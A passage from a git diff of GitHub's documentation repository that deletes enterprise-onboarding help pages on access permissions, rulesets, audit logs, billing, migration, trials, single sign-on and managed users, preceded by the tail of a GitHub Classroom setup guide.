%}](https://education.github.com/schools) website. - -{% data reusables.education.benefits-page %} -{% data reusables.education.select-email-address %} -{% data reusables.education.upload-proof-status %} -{% data reusables.education.school-name %} -{% data reusables.education.submit-application %} - -Once you are a verified {% data variables.product.prodname_global_campus %} educator, you can access {% data variables.product.prodname_global_campus %} anytime by going to the [{% data variables.product.prodname_education %} website](https://education.github.com). - -## Set up {% data variables.product.prodname_classroom %} - -With your personal account and organization account, you're ready to get started with {% data variables.product.prodname_classroom %}. {% data variables.product.prodname_classroom %} is free to use. You can track and manage assignments, grade work automatically, and provide feedback to your students. - -{% data reusables.classroom.sign-into-github-classroom %} -1. To authorize {% data variables.product.prodname_classroom %} to access your personal account on {% data variables.product.prodname_dotcom %}, review the information, then click **Authorize {% data variables.product.prodname_classroom %}**. -1. Review the information. To authorize {% data variables.product.prodname_classroom %} to access your organization account on {% data variables.product.prodname_dotcom %}, click **Grant**. - - > [!TIP] - > If you see a **Request** button instead of a **Grant** button, you are a member of the organization, not an owner. An owner must approve your request for {% data variables.product.prodname_classroom %}. You must be an organization owner to create and manage classrooms and assignments in {% data variables.product.prodname_classroom %}. For more information, see [AUTOTITLE](/apps/oauth-apps/using-oauth-apps/authorizing-oauth-apps#oauth-apps-and-organizations). - -1. Click **Authorize github**. - -## Create your classroom - -{% data reusables.classroom.about-classrooms %} - -{% data reusables.classroom.sign-into-github-classroom %} -1. Click **Create your first classroom** or **New classroom**. -{% data reusables.classroom.guide-create-new-classroom %} - -## Next steps - -You've created a classroom, and you're ready to enrich your course with {% data variables.product.github %} and {% data variables.product.prodname_classroom %}! 🎉 - -* Manage your classrooms and classroom admins, and create a roster of students for your classroom. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms). -* Use the Git and {% data variables.product.company_short %} starter assignment to give students an overview of Git and {% data variables.product.github %} fundamentals. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment). -* Create an assignment for individual students or teams. {% data reusables.classroom.for-more-information-about-assignment-creation %} -* Write and implement automated tests to provide immediate feedback to students directly in assignment repositories. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding). -* Participate in {% data variables.product.prodname_education_community_with_url %}. diff --git a/content/enterprise-onboarding/feature-enhancements/about-access-permissions-on-github.md b/content/enterprise-onboarding/feature-enhancements/about-access-permissions-on-github.md deleted file mode 100644 index 5d4d39eff790..000000000000 --- a/content/enterprise-onboarding/feature-enhancements/about-access-permissions-on-github.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: About access permissions on GitHub -intro: 'Learn about roles, and how you can control who has access to your enterprise''s resources and the level of access each person has.' -versions: - ghec: '*' -type: overview -topics: - - Enterprise -shortTitle: Access permissions ---- - -## About access permissions on {% data variables.product.github %} - -{% data reusables.organizations.about-roles %} - -Roles work differently for different types of accounts. For more information about accounts, see [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts). - -## Personal accounts - -A repository owned by a personal account has two permission levels: the **repository owner** and **collaborators**. See [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-personal-account-repository). - -## Organization accounts - -Organization members can have **owner**, **billing manager**, or **member** roles. Owners have complete administrative access to your organization, while billing managers can manage billing settings. Member is the default role for everyone else. You can manage access permissions for multiple members at a time with teams. For more information, see: -* [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization) -* [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams) - -## Enterprise accounts - -_Enterprise owners_ have ultimate power over the enterprise account and can take every action in the enterprise account. _Billing managers_ can manage your enterprise account's billing settings. Members and outside collaborators of organizations owned by your enterprise account are automatically members of the enterprise account, although they have no access to the enterprise account itself or its settings. - -Enterprise owners cannot access organization content or repositories unless they are explicitly granted a role in the organization. However, enterprise owners can manage enterprise settings and policies that impact an organization in the enterprise. For more information, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/roles-in-an-enterprise). - -If an enterprise uses {% data variables.product.prodname_emus %}, members are provisioned as new personal accounts on {% data variables.product.github %} and are fully managed by the identity provider. The {% data variables.enterprise.prodname_managed_users %} have read-only access to repositories that are not a part of their enterprise and cannot interact with users that are not also members of the enterprise. Within the organizations owned by the enterprise, the {% data variables.enterprise.prodname_managed_users %} can be granted the same granular access levels available for regular organizations. For more information, see [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/about-enterprise-managed-users). - -## Next steps - -Next, learn about how you can use rulesets to manage how people interact with your enterprise's repositories. See [AUTOTITLE](/enterprise-onboarding/feature-enhancements/about-rulesets). diff --git a/content/enterprise-onboarding/feature-enhancements/about-enterprise-security.md b/content/enterprise-onboarding/feature-enhancements/about-enterprise-security.md deleted file mode 100644 index 8ed8c73a03a5..000000000000 --- a/content/enterprise-onboarding/feature-enhancements/about-enterprise-security.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: 'About enterprise security' -shortTitle: 'Learn about the security fetures available to your enterprise.' -intro: 'Learn about the security features available to your enterprise.' -versions: - ghec: '*' -allowTitleToDifferFromFilename: true -redirect_from: - - /enterprise-onboarding/feature-enhancements/about-code-security-for-your-enterprise -type: overview -topics: - - Enterprise - - Set up - - Security ---- - -{% data variables.product.prodname_dotcom %} has many features that help you improve and maintain the quality of your code. Some of these are included in all plans, such as dependency graph and {% data variables.product.prodname_dependabot_alerts %}. Other security features require a {% data variables.product.prodname_GH_advanced_security %} (GHAS) license to run on repositories apart from public repositories on {% data variables.product.prodname_dotcom_the_website %}. - -To learn about the security features available to your enterprise, see [AUTOTITLE](/code-security). - -To learn about the extra security features available with a {% data variables.product.prodname_GH_advanced_security %} license, see [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security). diff --git a/content/enterprise-onboarding/feature-enhancements/about-rulesets.md b/content/enterprise-onboarding/feature-enhancements/about-rulesets.md deleted file mode 100644 index 9dd63b09c803..000000000000 --- a/content/enterprise-onboarding/feature-enhancements/about-rulesets.md +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: About rulesets -intro: 'Learn how you can use rulesets to control how people interact with pushes, branches, and tags in repositories.' -versions: - ghec: '*' -type: overview -topics: - - Enterprise -shortTitle: Rulesets ---- - -## About rulesets - -A ruleset is a named list of rules that applies to a repository, or to multiple repositories in an organization. You can have up to 75 rulesets per repository, and 75 organization-wide rulesets. - -When you create a ruleset, you can allow certain users to bypass the rules in the ruleset. This can be users with a certain role, such as repository administrator, or it can be specific teams or {% data variables.product.prodname_github_apps %}. For more information about granting bypass permissions, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#granting-bypass-permissions-for-your-ruleset). - -For organizations on the {% data variables.product.prodname_enterprise %} plan, you can set up rulesets at the enterprise or organization level to target multiple repositories in your organization. See [AUTOTITLE](/organizations/managing-organization-settings/managing-rulesets-for-repositories-in-your-organization). - -You can use rulesets to target branches or tags in a repository or to block pushes to a repository and the repository's entire fork network. - -{% data reusables.repositories.about-push-rule-delegated-bypass %} - -### Branch and tag rulesets - -You can create rulesets to control how people can interact with selected branches and tags in a repository. You can control things like who can push commits to a certain branch and how the commits must be formatted, or who can delete or rename a tag. For example, you could set up a ruleset for your repository's `feature` branch that requires signed commits and blocks force pushes for all users except repository administrators. - -For each ruleset you create, you specify which branches or tags in your repository, or which repositories in your organization, the ruleset applies to. You can use `fnmatch` syntax to define a pattern to target specific branches, tags, and repositories. For example, you could use the pattern `releases/**/*` to target all branches in your repository whose name starts with the string `releases/`. For more information on `fnmatch` syntax, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#using-fnmatch-syntax). - -### Push rulesets - -{% data reusables.repositories.push-rulesets-overview %} - -## About rulesets and protected branches - -Rulesets work alongside any branch protection rules in a repository. Many of the rules you can define in rulesets are similar to protection rules, and you can start using rulesets without overriding any of your existing protection rules. - -Rulesets have the following advantages over branch protection rules. - -* Unlike protection rules, multiple rulesets can apply at the same time, so you can be confident that every rule targeting a branch in your repository will be evaluated when someone interacts with that branch. See [About rule layering](#about-rule-layering). -* Rulesets have statuses, so you can easily manage which rulesets are active in a repository without needing to delete rulesets. -* Anyone with read access to a repository can view the active rulesets for the repository. This means a developer can understand why they have hit a rule, or an auditor can check the security constraints for the repository, without requiring admin access to the repository. -* You can create additional rules to control the metadata of commits entering a repository, such as the commit message and the author's email address. See [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/available-rules-for-rulesets#metadata-restrictions)." - -## Using ruleset enforcement statuses - -{% data reusables.repositories.rulesets-about-enforcement-statuses %} - -## About rule layering - -A ruleset does not have a priority. Instead, if multiple rulesets target the same branch or tag in a repository, the rules in each of these rulesets are aggregated. If the same rule is defined in different ways across the aggregated rulesets, the most restrictive version of the rule applies. As well as layering with each other, rulesets also layer with protection rules targeting the same branch or tag. - -For example, consider the following situation for the `my-feature` branch of the `octo-org/octo-repo` repository. - -* An administrator of the repository has set up a ruleset targeting the `my-feature` branch. This ruleset requires signed commits, and three reviews on pull requests before they can be merged. -* An existing branch protection rule for the `my-feature` branch requires a linear commit history, and two reviews on pull requests before they can be merged. -* An administrator of the `octo-org` organization has also set up a ruleset targeting the `my-feature` branch of the `octo-repo` repository. The ruleset blocks force pushes, and requires one review on pull requests before they can be merged. - -The rules from each source are aggregated, and all rules apply. Where multiple different versions of the same rule exist, the result is that the most restrictive version of the rule applies. Therefore, the `my-feature` branch requires signed commits and a linear commit history, force pushes are blocked, and pull requests targeting the branch will require three reviews before they can be merged. - -## Next steps - -Next, learn how to communicate important information with members of your enterprise using READMEs. See [AUTOTITLE](/enterprise-onboarding/feature-enhancements/create-a-readme-for-your-enterprise). diff --git a/content/enterprise-onboarding/feature-enhancements/about-the-audit-log-for-your-enterprise.md b/content/enterprise-onboarding/feature-enhancements/about-the-audit-log-for-your-enterprise.md deleted file mode 100644 index e8d762b22fb0..000000000000 --- a/content/enterprise-onboarding/feature-enhancements/about-the-audit-log-for-your-enterprise.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: About the audit log for your enterprise -intro: 'Learn how to use the audit log to monitor activity in your enterprise.' -versions: - ghec: '*' -type: overview -topics: - - Enterprise -shortTitle: Audit log ---- - -## About audit logs - -{% data reusables.audit_log.audit-log-search-list-info-about-action %} - -{% data reusables.audit_log.retention-periods %} - -In addition to viewing your audit log, you can monitor activity in your enterprise in other ways, such as managing global webhooks. Webhooks provide a way for GitHub to notify your server when specific events occur for a repository, organization, or enterprise. Compared to the API or searching the audit log, webhooks can be more efficient if you just want to learn and possibly log when certain events occur on your enterprise, organization, or repository. See [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/managing-global-webhooks). - -You can also use the audit log, and other tools, to monitor the actions taken in response to security alerts. For more information, see [AUTOTITLE](/code-security/getting-started/auditing-security-alerts). - -## Using your audit logs - -As an enterprise owner, you can interact with the audit log data for your enterprise in several ways: -* You can view the audit log for your enterprise. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise). -* You can search the audit log for specific events and export audit log data. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise) and [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise). -* You can identify all events that were performed by a specific access token. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token). -* You can display the IP address associated with events in the audit log. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise). -* You can stream audit and Git events data from {% data variables.product.prodname_dotcom %} to an external data management system. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise). -* You can use the Audit log API to view actions performed in your enterprise. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise). - -For a full list of audit log actions that may appear in your enterprise audit log, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise). - -## Next steps - -Next, learn how to control who has access to your enterprise's resources using roles. See [AUTOTITLE](/enterprise-onboarding/feature-enhancements/about-access-permissions-on-github). diff --git a/content/enterprise-onboarding/feature-enhancements/create-a-readme-for-your-enterprise.md b/content/enterprise-onboarding/feature-enhancements/create-a-readme-for-your-enterprise.md deleted file mode 100644 index b59de770c637..000000000000 --- a/content/enterprise-onboarding/feature-enhancements/create-a-readme-for-your-enterprise.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Create a README for your enterprise -intro: 'You can create a README to communicate important information and resources with members in your enterprise.' -versions: - ghec: '*' -type: how_to -topics: - - Enterprise -shortTitle: Create a README ---- - -## About READMEs for enterprises - -{% data reusables.enterprise.about-readmes %} - -The README is displayed on the enterprise's "Overview" page, which is the landing page you see when you navigate to the enterprise. This page is only visible to members of the enterprise. - -You can also create READMEs for organizations in your enterprise, visible either publicly or only to members. For more information, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile). - -## Creating a README for an enterprise - -{% data reusables.enterprise-accounts.access-enterprise %} -1. On the "Overview" page, click **Create README**. If a README is already present on the page, click **Edit**. -1. Write the content for your README. You can use Markdown to format the content, such as adding headings, images, and lists. For more information, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax). - - >[!NOTE] You can only link to publicly hosted images in your README. You cannot upload an image to your README, or link to an image from a private repository. - -1. Click **Save**. - -## Further reading - -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme) - -## Next steps - -Next, learn about the security features available to your enterprise. See [AUTOTITLE](/enterprise-onboarding/feature-enhancements/about-enterprise-security). diff --git a/content/enterprise-onboarding/feature-enhancements/index.md b/content/enterprise-onboarding/feature-enhancements/index.md deleted file mode 100644 index 11e59e498781..000000000000 --- a/content/enterprise-onboarding/feature-enhancements/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Feature enhancements -intro: 'Take advantage of features available with {% data variables.product.prodname_ghe_cloud %}.' -versions: - ghec: '*' -topics: - - Enterprise -shortTitle: Feature enhancements -children: - - /about-the-audit-log-for-your-enterprise - - /about-access-permissions-on-github - - /about-rulesets - - /create-a-readme-for-your-enterprise - - /about-enterprise-security ---- diff --git a/content/enterprise-onboarding/getting-started-with-your-enterprise/about-enterprise-billing.md b/content/enterprise-onboarding/getting-started-with-your-enterprise/about-enterprise-billing.md deleted file mode 100644 index 225e3d0be6c5..000000000000 --- a/content/enterprise-onboarding/getting-started-with-your-enterprise/about-enterprise-billing.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: About enterprise billing -intro: 'Learn about billing for {% data variables.product.prodname_ghe_cloud %}.' -versions: - ghec: '*' -type: overview -topics: - - Accounts - - Enterprise -shortTitle: Enterprise billing ---- - -## About billing for your enterprise - -With {% data variables.product.prodname_ghe_cloud %}, your enterprise account is the central point for all billing within your enterprise, including the organizations that your enterprise owns. Users with the **enterprise owner** or **billing manager** role can view and manage billing settings for the enterprise. - -To pay {% data variables.product.company_short %}, you will add a payment method to your enterprise account. This can be a credit card, PayPal, or a Microsoft Azure subscription. - -If you created your enterprise account with help from {% data variables.product.company_short %}'s Sales team, you may have agreed to pay by invoice. Each invoice includes a single charge for all of your paid {% data variables.product.prodname_ghe_cloud %} services and any {% data variables.product.prodname_ghe_server %} instances. - -As a new enterprise, you will be on {% data variables.product.company_short %}'s new billing platform, which allows you to estimate spending, create cost centers to track expenses across business units, and pay flexibly for the licenses you need. - -## What is included in my bill? - -Each month, you will be billed for: - -* The number of {% data variables.product.prodname_enterprise %} licenses you use, determined by the number of unique users in your enterprise -* Any usage of features like {% data variables.product.prodname_actions %} or {% data variables.product.prodname_github_codespaces %}, beyond the allowances included in your {% data variables.product.prodname_enterprise %} plan -* Any extra features you purchase, such as {% data variables.product.prodname_copilot %} or {% data variables.product.prodname_GH_advanced_security %} licenses - -For prices and monthly allowances, see {% data variables.product.pricing_link %}. - -## Adding a payment method - -To pay for licenses and services, you can use a credit card, PayPal, or a Microsoft Azure subscription. For instructions, see [AUTOTITLE](/billing/using-the-new-billing-platform/managing-your-payment-and-billing-information). - -## Next steps - -* To learn more about options for managing billing, see [AUTOTITLE](/billing/using-the-new-billing-platform/about-the-new-billing-platform). -* To get started with migrating data to your enterprise, see [AUTOTITLE](/enterprise-onboarding/getting-started-with-your-enterprise/about-migrating-to-github-enterprise-cloud). - -## Next steps - -Next, learn about migrating your current solution to {% data variables.product.prodname_ghe_cloud %}. See [AUTOTITLE](/enterprise-onboarding/getting-started-with-your-enterprise/about-migrating-to-github-enterprise-cloud). diff --git a/content/enterprise-onboarding/getting-started-with-your-enterprise/about-migrating-to-github-enterprise-cloud.md b/content/enterprise-onboarding/getting-started-with-your-enterprise/about-migrating-to-github-enterprise-cloud.md deleted file mode 100644 index 594ef91a82d6..000000000000 --- a/content/enterprise-onboarding/getting-started-with-your-enterprise/about-migrating-to-github-enterprise-cloud.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: About migrating to GitHub Enterprise Cloud -intro: 'Learn about migrating your current solution into {% data variables.product.prodname_ghe_cloud %}.' -versions: - ghec: '*' -type: overview -topics: - - Accounts - - Enterprise -shortTitle: Migrating to {% data variables.product.prodname_ghe_cloud %} ---- - -{% data reusables.migrations.about-migrations %} - -{% data variables.product.company_short %} provides a variety of different tools to support these migrations. Different tools support different migration pathways and provide different levels of migration fidelity. To determine the best tool for your migration, understand what you can migrate, and learn how to make your migration successful, see [AUTOTITLE](/migrations/overview/planning-your-migration-to-github) and [Migrations to GHE.com](/migrations/overview/migration-paths-to-github#migrations-to-ghecom). - -The steps you will take to migrate to {% data variables.product.prodname_ghe_cloud %} include: - -1. Define the origin (source) for your migration. Your destination is {% data variables.product.prodname_ghe_cloud %}. -1. Understand what data you will migrate, and build a basic inventory. -1. Evaluate the size of your migration data, and recognize if you need to first move any repositories to Git. -1. Decide on your migration type, based on your organization's needs and the tools available to you. -1. Choose if you will perform the migration yourself (a "self-serve migration"), or if you will work with {% data variables.product.company_short %}'s Expert Services team or a {% data variables.product.company_short %} Partner (an "expert-led migration"). - -In a later stage of setting up your trial, when you're ready to create your organization and teams, you will take additional steps to finish your migration, including: - -1. Design your organization structure for the migration to {% data variables.product.prodname_ghe_cloud %}. -1. Plan a test of your migration, including performing a dry run migration of all your repositories. -1. Establish your pre-migration and post-migration steps, and create a migration plan. -1. Prepare your organization and schedule for the migration. -1. Perform the migration, and execute any post-migration tasks. - -## About enterprise migrations to {% data variables.product.prodname_actions %} - -To migrate your enterprise to {% data variables.product.prodname_actions %} from an existing system, you can plan the migration, complete the migration, and retire existing systems. To learn how to migrate your workflows to {% data variables.product.prodname_actions %}, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions). - -If you're planning to switch to {% data variables.product.prodname_actions %}, we do not recommend doing so at the same time that you migrate your repositories. Instead, wait until a later date, and perform your CI/CD migration as a separate step. This makes the migration process more manageable. When you're ready to migrate, see [AUTOTITLE](/actions/migrating-to-github-actions). - -## Next steps - -Next, learn about [AUTOTITLE](/enterprise-onboarding/getting-started-with-your-enterprise/securing-your-enterprise-with-managed-users) and [AUTOTITLE](/enterprise-onboarding/getting-started-with-your-enterprise/securing-enterprise-resources-with-single-sign-on). diff --git a/content/enterprise-onboarding/getting-started-with-your-enterprise/ending-a-trial-of-github-enterprise.md b/content/enterprise-onboarding/getting-started-with-your-enterprise/ending-a-trial-of-github-enterprise.md deleted file mode 100644 index c56b57a65f1a..000000000000 --- a/content/enterprise-onboarding/getting-started-with-your-enterprise/ending-a-trial-of-github-enterprise.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Ending a trial of GitHub Enterprise -intro: 'Learn how to end your trial by purchasing {% data variables.product.prodname_ghe_cloud %} or by canceling your trial.' -versions: - ghec: '*' -type: how_to -topics: - - Accounts - - Enterprise -shortTitle: Ending an Enterprise trial ---- - -You can end your trial at any time by purchasing {% data variables.product.prodname_enterprise %} or canceling the trial. Otherwise, after {% data reusables.enterprise.ghec-trial-length %} days, your trial will expire. - -{% data variables.product.prodname_enterprise %} trial accounts are automatically deleted 90 days after the trial period ends if the account has not been converted to a paid account. - -If you **purchase {% data variables.product.prodname_enterprise %}**, you can use the full {% data variables.product.prodname_ghe_cloud %} feature set and billing capabilities. See [AUTOTITLE](/enterprise-onboarding/getting-started-with-your-enterprise/about-enterprise-billing). - -If you **cancel your trial**: - -* Organizations that you transferred into the enterprise are removed and reverted to their previous plans and settings. -* Enterprise owners and members lose access to the enterprise account and any organizations that you created during the trial. - -If your **trial expires**: - -* Organizations that you transferred into the enterprise are removed and reverted to their previous plans and settings. -* Enterprise owners and members retain access to the enterprise account and organizations created during the trial in a downgraded state, allowing you to either upgrade to {% data variables.product.prodname_enterprise %} or move assets elsewhere. -* You can delete an expired trial to remove people's access to the enterprise and organizations created during the trial. - -For more information about the effects of downgrading an organization, see [AUTOTITLE](/enterprise-cloud@latest/billing/managing-the-plan-for-your-github-account/downgrading-your-accounts-plan#downgrading-your-organizations-plan). - -## Ending your trial - -You can end a trial by purchasing {% data variables.product.prodname_enterprise %} or by canceling the trial. If a trial has expired, you can delete the trial. - -### Purchasing {% data variables.product.prodname_enterprise %} - -You can purchase {% data variables.product.prodname_enterprise %} at any time during the trial. - -{% data reusables.enterprise-accounts.access-enterprise %} -1. To end the trial period and purchase {% data variables.product.prodname_enterprise %}, click **Activate Enterprise** in the blue banner at the top of the page. - -### Canceling or deleting a trial - -You can cancel a trial at any time. Once the trial has expired, you can delete the trial. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -1. Under **{% octicon "gear" aria-hidden="true" %} Settings**, click **Profile**. -1. At the bottom of the page, in the "Danger zone" section, click **Cancel trial** or **Delete trial**. - -## Next steps - -Now that you know how to start and end a trial of {% data variables.product.prodname_ghe_cloud %}, learn about billing. See [AUTOTITLE](/enterprise-onboarding/getting-started-with-your-enterprise/about-enterprise-billing). diff --git a/content/enterprise-onboarding/getting-started-with-your-enterprise/index.md b/content/enterprise-onboarding/getting-started-with-your-enterprise/index.md deleted file mode 100644 index 7b6637c6abc6..000000000000 --- a/content/enterprise-onboarding/getting-started-with-your-enterprise/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Getting started with your enterprise -#redirect_from: -intro: 'Learn how to start a trial of {% data variables.product.prodname_enterprise %}, and about enterprise billing and migrations.' -versions: - ghec: '*' - ghes: '*' -topics: - - Accounts - - Enterprise - - Set up -shortTitle: Starting with GitHub Enterprise -children: - - /setting-up-a-trial-of-github-enterprise - - /ending-a-trial-of-github-enterprise - - /about-enterprise-billing - - /about-migrating-to-github-enterprise-cloud - - /securing-your-enterprise-with-managed-users - - /securing-enterprise-resources-with-single-sign-on ---- - -Visit [{% data variables.product.prodname_enterprise %}](https://github.com/enterprise) to discover how our AI-powered developer platform can benefit you, and to start a free trial of today. diff --git a/content/enterprise-onboarding/getting-started-with-your-enterprise/securing-enterprise-resources-with-single-sign-on.md b/content/enterprise-onboarding/getting-started-with-your-enterprise/securing-enterprise-resources-with-single-sign-on.md deleted file mode 100644 index 773d6c5f6f6a..000000000000 --- a/content/enterprise-onboarding/getting-started-with-your-enterprise/securing-enterprise-resources-with-single-sign-on.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Securing enterprise resources with single sign-on -intro: 'Learn how to set up secure sign-on for organizations in your enterprise.' -versions: - ghec: '*' -type: how_to -topics: - - Accounts - - Enterprise -shortTitle: Secure sign-on ---- - -This article applies to enterprises that use **personal accounts**. If you use personal accounts, enabling SSO is an optional step you can take to secure your enterprise's resources. - -If your enterprise uses **managed users**, SSO is mandatory, and all managed user accounts must authenticate through your identity provider (IdP) to sign in to {% data variables.product.github %}. See [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users). - -{% data reusables.saml.dotcom-saml-explanation %} See [AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/about-saml-for-enterprise-iam). - -You can configure SAML for your enterprise account to apply the same settings to all organizations, or you can configure settings for individual organizations. See [AUTOTITLE](/admin/managing-iam/using-saml-for-enterprise-iam/deciding-whether-to-configure-saml-for-your-enterprise-or-your-organizations). - -You can enable SAML SSO and centralized authentication through a SAML IdP across all organizations owned by your enterprise account. See [AUTOTITLE](/admin/managing-iam/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise). - -## Supported identity providers - -{% data reusables.saml.saml-supported-idps %} - -For more information about connecting Microsoft Entra ID (previously known as Azure AD) to your enterprise, see [Tutorial: Microsoft Entra SSO integration with GitHub Enterprise Cloud - Enterprise Account](https://learn.microsoft.com/en-us/entra/identity/saas-apps/github-enterprise-cloud-enterprise-account-tutorial) in Microsoft Docs. - -## Next steps - -Next, learn how to set up an organization in your enterprise. See [AUTOTITLE](/enterprise-onboarding/setting-up-organizations-and-teams/setting-up-an-organization). diff --git a/content/enterprise-onboarding/getting-started-with-your-enterprise/securing-your-enterprise-with-managed-users.md b/content/enterprise-onboarding/getting-started-with-your-enterprise/securing-your-enterprise-with-managed-users.md deleted file mode 100644 index a669e4d89296..000000000000 --- a/content/enterprise-onboarding/getting-started-with-your-enterprise/securing-your-enterprise-with-managed-users.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Securing your enterprise with Managed Users -intro: 'Learn about Enterprise Managed Users.' -versions: - ghec: '*' -type: how_to -topics: - - Accounts - - Enterprise -shortTitle: Managed users ---- - -With {% data variables.product.prodname_emus %}, you manage the lifecycle and authentication of your users on {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %} from an external identity management system, or IdP: - -* Your IdP **provisions new user accounts** on {% data variables.product.prodname_dotcom %}, with access to your enterprise. -* Users must **authenticate on your IdP** to access your enterprise's resources on {% data variables.product.prodname_dotcom %}. -* You control **usernames, profile data, organization membership, and repository access** from your IdP. -* If your enterprise uses OIDC SSO, {% data variables.product.prodname_dotcom %} will validate access to your enterprise and its resources using your IdP's **Conditional Access Policy (CAP)**. See [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy). -* {% data variables.enterprise.prodname_managed_users_caps %} **cannot create public content** or collaborate outside your enterprise. See [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/abilities-and-restrictions-of-managed-user-accounts). - -See [AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/about-enterprise-managed-users). - -## Get started with managed users - -To use {% data variables.product.prodname_emus %}, you will: - -* Configure authentication using SAML or OIDC -* Configure SCIM provisioning -* Provision users to your enterprise - -To get started, see [AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/getting-started-with-enterprise-managed-users). - -## Next steps - -Next, learn how to set up an organization in your enterprise. See [AUTOTITLE](/enterprise-onboarding/setting-up-organizations-and-teams/setting-up-an-organization). diff --git a/content/enterprise-onboarding/getting-started-with-your-enterprise/setting-up-a-trial-of-github-enterprise.md b/content/enterprise-onboarding/getting-started-with-your-enterprise/setting-up-a-trial-of-github-enterprise.md deleted file mode 100644 index b5ce8b2d43b8..000000000000 --- a/content/enterprise-onboarding/getting-started-with-your-enterprise/setting-up-a-trial-of-github-enterprise.md +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Setting up a trial of GitHub Enterprise -intro: 'Learn what is included in the {% data variables.product.prodname_ghe_cloud %} trial, and how to get started.' -versions: - ghec: '*' -type: how_to -topics: - - Accounts - - Enterprise -shortTitle: Setting up a trial ---- - -{% data reusables.enterprise.about-ghec %} See [AUTOTITLE](/enterprise-cloud@latest/admin/overview/about-github-enterprise-cloud). - -You can set up a trial to evaluate features that require {% data variables.product.prodname_ghe_cloud %}, such as SAML single sign-on (SSO) and {% data variables.product.prodname_GH_advanced_security %}. For a full list of available features, see our [Pricing](https://github.com/pricing) page. - -Your trial **won't** include {% data variables.enterprise.data_residency_short %} on {% data variables.enterprise.data_residency_site %} or access to {% data variables.product.prodname_ghe_server %}. To test these features, contact {% data variables.contact.contact_enterprise_sales %}. - -To set up a trial, you must be signed in to a personal account. If you don't have a personal account, see [AUTOTITLE](/free-pro-team@latest/get-started/start-your-journey/creating-an-account-on-github). - -## What is included in the trial? - -The trial lasts for **{% data reusables.enterprise.ghec-trial-length %} days** and includes the following features. - -* Access to **most** {% data variables.product.prodname_ghe_cloud %} features.{% ifversion metered-ghe-ghas %} -* {% data variables.product.prodname_copilot_for_business %} -* {% data variables.product.prodname_GH_advanced_security %} -* Access to the **new billing platform**. See [AUTOTITLE](/billing/using-the-new-billing-platform/about-the-new-billing-platform-for-enterprises).{% endif %} -* An **enterprise account**, which allows you to manage multiple 